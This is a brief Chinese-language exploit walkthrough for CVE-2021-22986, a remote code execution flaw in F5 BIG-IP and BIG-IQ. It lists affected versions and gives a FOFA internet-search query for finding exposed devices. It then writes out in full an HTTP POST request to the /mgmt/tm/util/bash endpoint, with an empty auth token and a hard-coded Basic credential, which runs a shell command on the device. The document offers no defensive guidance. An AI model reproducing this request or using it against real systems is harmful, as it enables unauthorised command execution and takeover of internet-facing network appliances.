CVE-2021-22986 F5 BIG-IP 远程代码执行漏洞复现

影响版本

F5 BIG-IP 16.0.0-16.0.1

F5 BIG-IP 15.1.0-15.1.2

F5 BIG-IP 14.1.0-14.1.3.1

F5 BIG-IP 13.1.0-13.1.3.5

F5 BIG-IP 12.1.0-12.1.5.2

F5 BIG-IQ 7.1.0-7.1.0.2

F5 BIG-IQ 7.0.0-7.0.0.1

F5 BIG-IQ 6.0.0-6.1.0

漏洞复现

fofa搜索关键词：

body="F5 Networks, Inc"

构造如下请求

POST /mgmt/tm/util/bash HTTP/1.1

Host: x.x.x.x

Authorization: Basic YWRtaW46QVNhc1M=

X-F5-Auth-Token:  

Upgrade-Insecure-Requests: 1

Content-Type: application/json

Content-Length: 39

{"command":"run","utilCmdArgs":"-c id"}